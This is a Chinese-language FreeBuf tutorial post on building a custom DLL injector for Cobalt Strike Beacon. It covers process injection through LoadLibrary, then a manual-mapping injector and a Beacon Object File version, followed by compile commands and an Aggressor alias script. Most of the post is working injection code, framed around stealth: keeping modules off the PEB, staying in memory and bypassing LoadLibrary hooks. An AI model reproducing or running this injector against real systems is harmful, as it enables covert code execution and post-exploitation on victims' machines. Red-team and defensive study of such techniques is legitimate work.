freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Cobalt Strike Beacon 自定义 DLL 注入
Mr_miming 2022-04-06 09:49:25 197126
所属地 陕西省

Cobalt Strike一种 C2 框架,它非常强大,可以自定义 C2 配置文件,从本质上使流量在通过网络时看起来更合法(即用户代理、标头等...)。以及实施一系列广泛的后利用模块,这些模块可以允许红队人员在保持相对隐匿安全的同时进行渗透。随着最近更新的BOF,我们可以进行自定义,特别是以下两个模块:

dllinjectInject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()

完整BOF代码:https://github.com/tomcarver16/BOF-DLL-Inject

DLL加载

我们将从两个模块中较简单的 dll load 开始,该模块通过打开我们要注入的进程句柄来运行。然后通过 GetProcAddress 获取内存中 LoadLibrary 的地址。在远程进程中分配了一些内存,将完整的 dll 路径写入新分配的缓冲区,最后,我们在远程进程中创建一个线程,它以 dll 路径作为参数调用 LoadLibrary。代码如下:

BOOL InjectDll(DWORD procID, char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;

    if (procID == 0) {
        return FALSE;
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
    std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;

    loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
    CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);

    CloseHandle(hProc);
    return TRUE;
}

DLL注入

Cobalt Strike的 DLL 注入模块解决了上面提到的很多问题,dl 注入或反射 dll 注入,本质上是 LoadLibrary WINAPI 函数的实现,由于我们已经实现了 LoadLibrary,所以它比 DLL Load 技术更隐蔽,这样做有几个优点。首先,新模块不会添加到 PEB,即不会显示为加载的模块,其次,加载的 dll 不必接触磁盘,这是非常实用的,我们都希望我们的有效负载主要驻留在内存中,最后写入磁盘。然后,我们可以尝试绕过 LoadLibrary 或 LdrLoadDll 中的阻止hook。

DLL 注入有什么作用?正如之前提到的,cobalt Strike 使用的是反射dll注入,其做法是将 dll 复制到远程进程,然后将执行传递给实现以下内容的导出函数:

1.解析 PE 标头;

2.如果需要,重新定位偏移量;

3.解决任何依赖关系;

4.调用 DLL 入口点 (DllMain)。

这种技术非常有效而且相当安全。然而,我在这个实现的过程中遇到的主要问题是你必须在你的 dll 中包含反射 dll 加载器代码,意味着我们已经包含了一个导出函数,它将修复 IAT(导入地址表)和任何能让PE正常运行而必须进行的任何重新定位。

创建注入器

现在我们已经了解了 Cobalt Strike 如何处理 dll 注入,我们可以开始研究基于 Cobalt strike 使用的反射 dll 注入技术,创建我们自己的注入程序,同时让它在我们创建的任何 dll 上工作。

我们将使用手动映射技术,来创建这个注入程序它执行与反射 dll 注入相同的步骤,处理重定位和动态加载依赖项(等),但所有这些都来自注入程序,因此 dll不必包含任何额外的代码。

我们使用Zer0Mem0ry的ManualMap 存储库作为基础,这里实现的代码仅适用于 64 位进程。

//包括windows API函数
#include <Windows.h>
//定义api函数,以便在不使用编译器报错
typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR);

// Dll主类型定义以便我们可以从注入器正确调用它
typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID);

// 要传递给远程进程的结构,这样它就有了起点
struct RemoteData
{
  LPVOID ImageBase;

  PIMAGE_NT_HEADERS NtHeaders;
  PIMAGE_BASE_RELOCATION BaseReloc;
  PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;

  pLoadLibraryA fnLoadLibraryA;
  pGetProcAddress fnGetProcAddress;

};

//在远程进程中调用以处理图像重新定位和导入
DWORD __stdcall LibraryLoader(LPVOID Memory)
{

  RemoteData* remoteParams = (RemoteData*)Memory;

  PIMAGE_BASE_RELOCATION pIBR = remoteParams->BaseReloc;

  DWORD64 delta = (DWORD64)((LPBYTE)remoteParams->ImageBase - remoteParams->NtHeaders->OptionalHeader.ImageBase); // 计算增量
  
  // 迭代重新定位

  while (pIBR->VirtualAddress)
  {
    if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
    {
      int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(DWORD);
      PWORD list = (PWORD)(pIBR + 1);

      for (int i = 0; i < count; i++)
      {
        if (list[i])
        {
          PDWORD64 ptr = (PDWORD64)((LPBYTE)remoteParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
          *ptr += delta;
        }
      }
    }

    pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
  }

  PIMAGE_IMPORT_DESCRIPTOR pIID = remoteParams->ImportDirectory;

  // 解析DLL并导入
  while (pIID->Characteristics)
  {
    PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->OriginalFirstThunk);
    PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->FirstThunk);

    HMODULE hModule = remoteParams->fnLoadLibraryA((LPCSTR)remoteParams->ImageBase + pIID->Name);

    if (!hModule)
      return FALSE;

    while (OrigFirstThunk->u1.AddressOfData)
    {
      if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
      {
        // 按顺序导入
        DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule,
          (LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF));

        if (!Function)
          return FALSE;

        FirstThunk->u1.Function = Function;
      }
      else
      {
        // 按名称导入
        PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)remoteParams->ImageBase + OrigFirstThunk->u1.AddressOfData);
        DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name);
        if (!Function)
          return FALSE;

        FirstThunk->u1.Function = Function;
      }
      OrigFirstThunk++;
      FirstThunk++;
    }
    pIID++;
  }

  // 最后调用将我们的入口点地址转换为我们的dllMain typedef
  if (remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint)
  {
    dllmain EntryPoint = (dllmain)((LPBYTE)remoteParams->ImageBase + remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint);

    return EntryPoint((HMODULE)remoteParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point
  }
  return TRUE;
}

DWORD __stdcall stub()
{
  return 0;
}

int main()
{
  // 可以使用argc和argv而不是硬编码
  LPCSTR dll = "<INSERT_DLL_HERE>";
  
  // 获取进程ID
  DWORD procId = FindProcessId("<Target_Process>");

  RemoteData remoteParams;
  
  // 如果实现信标文件,则将dll加载到内存中。我们将从这里开始
  PVOID dllBuffer = LoadFileIntoMem(dll);

  // 查找DOS头
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
  // 从e_lfanew属性中查找NT头
  PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);

  // 打开proc,对实际操作使用较少的perms次数
  HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);

  // 分配一段与dll大小相同的内存
  PVOID pModAddress = VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // 将head头写入远程进程
  WriteProcessMemory(hProc, pModAddress, dllBuffer,
    pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

  //将dll的部分复制到目标进程
  PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
  for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
  {
    WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
      (PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
  }

  // 为加载程序代码分配内存
  PVOID loaderMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // 为远程结构赋值
  remoteParams.ImageBase = pModAddress;
  remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);

  remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

  remoteParams.fnLoadLibraryA = LoadLibraryA;
  remoteParams.fnGetProcAddress = GetProcAddress;

  // 将远程属性写入进程以供加载程序代码使用
  WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
  WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
    (DWORD64)stub - (DWORD64)LibraryLoader, NULL);

  // 在进程中创建一个远程线程,并在loader函数处开始执行
  HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
    loaderMem, 0, NULL);

  // 等待加载程序完成
  WaitForSingleObject(hThread, INFINITE);
  
  // 结束
  VirtualFreeEx(hProc, loaderMem, 0, MEM_RELEASE);
  CloseHandle(hProc);

  return 0;
}

Beacon Object Files

Beacon object files 是标准的 C 文件,允许执行 WinAPI 函数以及在“beacon.h”中定义的附加信标函数,这里从打印一个简单的字符开始。

#include "beacon.h"

void go(char* buff, int len) 
{
BeaconPrintf(CALLBACK_OUTPUT, "Working BOF");
}

然后使用此 MinGW 命令将其编译为目标文件。

# fo  32-bit //不让写r
i686-w64-mingw32-gcc -c inject.c -o inject.o

# for 64-bit
x86_64-w64-mingw32-gcc -c inject.c -o inject.o

内联执行 hello world。

现在我们有了一个基本的目标文件,我们可以使用aggressor 脚本创建一个脚本,我们就不必每次想要使用注入时都输入 inline-execute 命令,以下内容的作用是可以获取文件路径的参数并将文件路径中的数据发送到我们的 BOF。

alias mandllinject {
local('$handle $data $args $fileData');

# figure out the arch of this session
$barch = barch($1);

# read in the right BOF file
$handle = openf(script_resource("inject.o"));
$data = readb($handle, -1);
closef($handle);

$dll_handle = openf($2);
$file_data = readb($dll_handle, -1);
closef($dll_handle);

# pack our arguments
$args = bof_pack($1, "bi", $file_data, $3);

btask($1, "Manual DLL Inject - @tomcarver_");

# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
mandllinject  <path_to_dll>  <procId>

运行上面的命令将“testdll.dll”文件传递给我们的beacon,然后通过在我们的 BOF 中打印有效负载中的第一个字符串来验证它是否是有效的,它应该是“MZ”,因为所有 PE 文件都以魔术字节“\x4D\x5A”开头。

在验证代码正常后,现在需要做的就是以 beacon形式重新实现之前的代码,只需将 WINAPI 函数转换为 CS 使用的特殊beacon格式,可以使用https://github.com/dtmsecurity/bof_helper

然后,将之前的代码转换为成可以与cobalt strike 一起使用的版本,它可以将一个dll 从内存迁移到一个远程进程。需要注意的是:它目前仅适用于 64 位进程,在 LibraryLoader 中将 DWORD64 移动到常规 DWORD(以及 DWORD 到 WORD),反之亦然可以在 64 位和 32 位之间进行转换。

#include <windows.h>
#include "beacon.h"

typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR);

// Dll main typedef,以便我们可以从注入器正确调用它
typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID);

DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, PVOID, DWORD, DWORD, DWORD);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx (HANDLE, PVOID, DWORD, DWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
// 之前定义了结构.
typedef struct
{
  LPVOID ImageBase;

  PIMAGE_NT_HEADERS NtHeaders;
  PIMAGE_BASE_RELOCATION BaseReloc;
  PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;

  pLoadLibraryA fnLoadLibraryA;
  pGetProcAddress fnGetProcAddress;

} RemoteData;

// 在远程进程中调用以处理图像重新定位和导入
DWORD __stdcall LibraryLoader(LPVOID Memory)
{
  // Same as before.
}

DWORD __stdcall stub()
{
  return 0;
}

void go(char* argv, int argc) 
{
  PVOID dllBuffer;
    char* sc_ptr;
  int sc_len, procId;
  RemoteData remoteParams;
    datap parser;
  
  BeaconDataParse(&parser, argv, argc);
  sc_len = BeaconDataLength(&parser);
  sc_ptr = BeaconDataExtract(&parser, NULL);
  procId = BeaconDataInt(&parser);
  
  BeaconPrintf(CALLBACK_OUTPUT, "DLL Size %d", sc_len);
  BeaconPrintf(CALLBACK_OUTPUT, "Opening handle to process ID: %d", procId);

  dllBuffer = (PVOID)sc_ptr;
  // 获取DOS Header
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
  //从e_lfanew属性中查找NT head
  PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);
  
  // 打开proc,对实际操作使用较少的perms次数
  HANDLE hProc = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);

    // 分配一段与dll大小相同的内存
  PVOID pModAddress = KERNEL32$VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // 将head头写入远程进程
  KERNEL32$WriteProcessMemory(hProc, pModAddress, dllBuffer,
    pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

  // 将DLL的部分复制到目标进程
  PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
  for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
  {
    KERNEL32$WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
      (PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
  }

  // 为加载程序代码分配内存。
  PVOID loaderMem = KERNEL32$VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // 为远程结构赋值
  remoteParams.ImageBase = pModAddress;
  remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);

  remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

  remoteParams.fnLoadLibraryA = LoadLibraryA;
  remoteParams.fnGetProcAddress = GetProcAddress;

  // 将远程属性写入进程以供加载程序代码使用
  KERNEL32$WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
  KERNEL32$WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
    (DWORD64)stub - (DWORD64)LibraryLoader, NULL);

  // 在进程中创建一个远程线程,并在loader函数处开始执行
  HANDLE hThread = KERNEL32$CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
    loaderMem, 0, NULL);

  BeaconPrintf(CALLBACK_OUTPUT, "Finished injecting DLL.");

  // 结束
  KERNEL32$CloseHandle(hProc);

  return;
}
# 渗透测试 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Mr_miming 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Mr_miming LV.4
这家伙太懒了,还未填写个人描述!
  • 12 文章数
  • 5 关注者
《互联网政务应用安全管理规定》个人解读
2025-01-03
《电力监控系统安全防护规定》个人整理
2025-01-03
国际网络安全事件汇总(二)
2024-05-16
文章目录